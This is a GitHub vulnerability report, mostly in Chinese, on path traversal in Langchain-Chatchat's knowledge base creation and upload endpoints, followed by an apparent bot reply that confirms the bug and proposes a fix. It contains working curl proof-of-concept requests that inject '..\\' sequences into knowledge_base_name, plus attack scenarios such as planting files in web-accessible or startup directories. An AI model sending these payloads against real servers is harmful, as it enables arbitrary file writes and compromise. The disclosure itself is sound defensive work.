[BUG] Knowledge Base Name Path Traversal Vulnerability

[Ro1ME]

问题描述 / Problem Description
Langchain-Chatchat 的知识库创建和文档上传接口存在路径遍历漏洞。攻击者可以通过在 knowledge_base_name 参数中注入路径遍历序列（如 ..\\），将知识库内容写入到配置的知识库根目录之外的任意位置。

漏洞类型: 路径遍历 (Path Traversal)
CVSS评分: 9.1 (Critical)
影响范围: 任意目录创建和文件写入

复现问题的步骤 / Steps to Reproduce

1. 启动 Langchain-Chatchat 服务

   python startup.py -a

2. 创建包含路径遍历的知识库：

   curl -X POST "http://127.0.0.1:7861/knowledge_base/create_knowledge_base" \
     -H "Content-Type: application/json" \
     -d '{
       "knowledge_base_name": "..\\malicious-kb",
       "vector_store_type": "faiss",
       "embed_model": "bge-large-zh-v1.5"
     }'

3. 上传文档到该知识库：

   curl -X POST "http://127.0.0.1:7861/knowledge_base/upload_docs" \
     -F "knowledge_base_name=..\\malicious-kb" \
     -F "files=@test.txt"

4. 观察文件被写入到知识库根目录外

预期的结果 / Expected Result

• 知识库应该被创建在 {KB_ROOT_PATH}/{knowledge_base_name}/ 下
• knowledge_base_name 应该经过路径规范化
• 包含 .. 或绝对路径的名称应该被拒绝

实际结果 / Actual Result

• 文件被写入到 D:\Project\Dataset\Langchain-Chatchat\.runtime-full-root\data\kb-name-escape-1776004764\content\kb-name-upload.txt

• 成功逃逸了配置的知识库根目录

• 虽然向量库加载失败（返回 500 错误），但文件上传仍然成功（返回 200）

• 创建响应：

  {
    "code": 500,
    "msg": "创建知识库出错： 向量库 ..\\kb-name-escape-1776004764 加载失败。"
  }

• 上传响应：

  {
    "code": 200,
    "msg": "文件上传与向量化完成",
    "data": {"failed_files": {}}
  }

漏洞根因 / Root Cause

受影响文件: libs/chatchat-server/chatchat/server/knowledge_base/kb_doc_api.py:130
受影响函数: _save_files_in_thread

该函数使用用户提供的 knowledge_base_name 直接构造路径，未进行边界检查：

def _save_files_in_thread(
    files: List[UploadFile],
    knowledge_base_name: str,  # 用户可控
    override: bool,
):
    # 直接使用 knowledge_base_name 构造路径
    kb_path = get_kb_path(knowledge_base_name)  # 未进行边界检查
    # ... 写入文件

安全影响 / Security Impact

严重性: CRITICAL

1. 任意目录创建: 攻击者可以在服务器任意位置创建目录结构
2. 任意文件写入: 可以将知识库内容写入到系统任意位置
3. 数据泄露: 可以将知识库创建在 Web 可访问目录下
4. 持久化攻击: 可以在系统启动目录或配置目录植入恶意文件

攻击场景示例:

• 创建知识库到 ..\\..\\static\\malicious 使其通过 Web 访问
• 覆盖配置文件目录中的文件
• 在系统路径中植入恶意脚本

环境信息 / Environment Information

• Langchain-Chatchat 版本 / commit 号：Latest (commit from 2026-04-12)
• 部署方式（pypi 安装 / 源码部署 / docker 部署）：源码部署 / dev deployment
• 使用的模型推理框架（Xinference / Ollama / OpenAI等）：OpenAI
• 使用的 LLM 模型（GLM-4-9B / Qwen2-7B-Instruct 等）：GLM-4-9B
• 使用的 Embedding 模型（bge-large-zh-v1.5 / m3e-base 等）：bge-large-zh-v1.5
• 使用的向量库类型 (faiss / milvus / pg_vector 等)： s
• 操作系统及版本 / Operating system and version: Windows
• Python 版本 / Python version: 3.8+
• 推理使用的硬件（GPU / CPU / MPS / NPU 等） / Inference hardware (GPU / CPU / MPS / NPU, etc.): GPU
• 其他相关环境信息 / Other relevant environment information:

附加信息 / Additional Information
特殊注意:

• 该漏洞在 Windows 系统上使用 ..\\ 路径遍历序列
• 在 Linux/Unix 系统上应使用 ../ 序列
• 即使向量库加载失败，文件仍然会被写入

[dosubot]

Thanks for the detailed report. I can confirm this vulnerability is real. The current validate_kb_name function in libs/chatchat-server/chatchat/server/knowledge_base/utils.py only checks for the literal "../" substring [1]:

def validate_kb_name(knowledge_base_id: str) -> bool:
    if "../" in knowledge_base_id:
        return False
    return True

This means backslash-based traversal sequences like ..\ (as in your PoC) completely bypass the check. The validation is applied at API entry points like create_knowledge_base [2] and upload_docs [3], but since the check itself is insufficient, the protection is effectively bypassed on Windows.

Additionally, get_kb_path directly concatenates the user-controlled name with the root path without any boundary verification [4]:

def get_kb_path(knowledge_base_name: str):
    return os.path.join(Settings.basic_settings.KB_ROOT_PATH, knowledge_base_name)

It's worth noting that there is a secondary defense in get_file_path that uses Path.resolve() and a startswith check [5], but this only protects individual file paths within a knowledge base — it doesn't prevent the knowledge base directory itself from being created outside the root.

This is also not an isolated issue — multiple similar path traversal vulnerabilities have been reported in other endpoints, including /knowledge_base/upload_temp_docs (CVSS 9.1) and /v1/files/{file_id}/content (CVSS 9.8) [6] [7], suggesting a systemic pattern.

A robust fix would be to either use an allowlist for knowledge_base_name (e.g., re.match(r'^[a-zA-Z0-9_-]+$', name)) or resolve the constructed path and verify it stays within KB_ROOT_PATH:

def validate_kb_name(knowledge_base_id: str) -> bool:
    kb_root = Path(Settings.basic_settings.KB_ROOT_PATH).resolve()
    kb_path = (kb_root / knowledge_base_id).resolve()
    try:
        kb_path.relative_to(kb_root)
        return True
    except ValueError:
        return False

To reply, just mention @dosu.

---

Docs are dead. Just use Dosu.